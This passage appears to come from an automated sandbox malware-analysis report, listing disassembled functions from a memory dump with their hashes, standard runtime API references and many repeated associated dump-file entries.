Instruction Fuzzy Hash: 3F118A63F30C255B775C816D8C172BE95D2DBD825071F533AD826E7284E994DE13D290

Function 00058860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: cdd468922955766d3ef475dc0883180c5a9b82540bc8d3c1a056c59371a44747
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 7A112E7720014183E698862DC8F86B7A7D5EBC53237ACC376DD417B754DE22D94D9700

Function 0004A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 1ce372c3d4c83672496cb3d70c50e3c1e79414153f441743b421c933183e8614
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: CDE08CB2A61228EBCB14DF98C904A8AF7FCEB4AB01B6500A6F501D3151D270DF00C7D4

Function 00012EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00012F5F
__Mtx_unlock.LIBCPMT ref: 00012FCC
__Cnd_broadcast.LIBCPMT ref: 00012FE3
__Mtx_unlock.LIBCPMT ref: 000130F5
__Mtx_unlock.LIBCPMT ref: 0001319B

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: a9b6241c4fac82ffdc9831974bdf18c08d76aada031429a95d9a7da725f1a036
Instruction ID: cce910280d3c319cfbc65538bb74d04ecdc6df488e2a4c7ba471d5dd0986635d
Opcode Fuzzy Hash: a9b6241c4fac82ffdc9831974bdf18c08d76aada031429a95d9a7da725f1a036
Instruction Fuzzy Hash: FCA1D070A01215EFEB21DB64D948BDAB7E8FF19314F148139E816D7242EB35EA84CB91

Function 0004CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0004CC66

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 9df09f900d3cf8005b2345a0968274d98933b4554d713517aa23f5a77537577b
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: C0B124B2D026459FEB65CF29C881BFEBBE5EF45340F14817AD845EB242D6349D01CB68

Function 0002BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0002BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0002BBE4
_xtime_get.LIBCPMT ref: 0002BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0002BC13

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
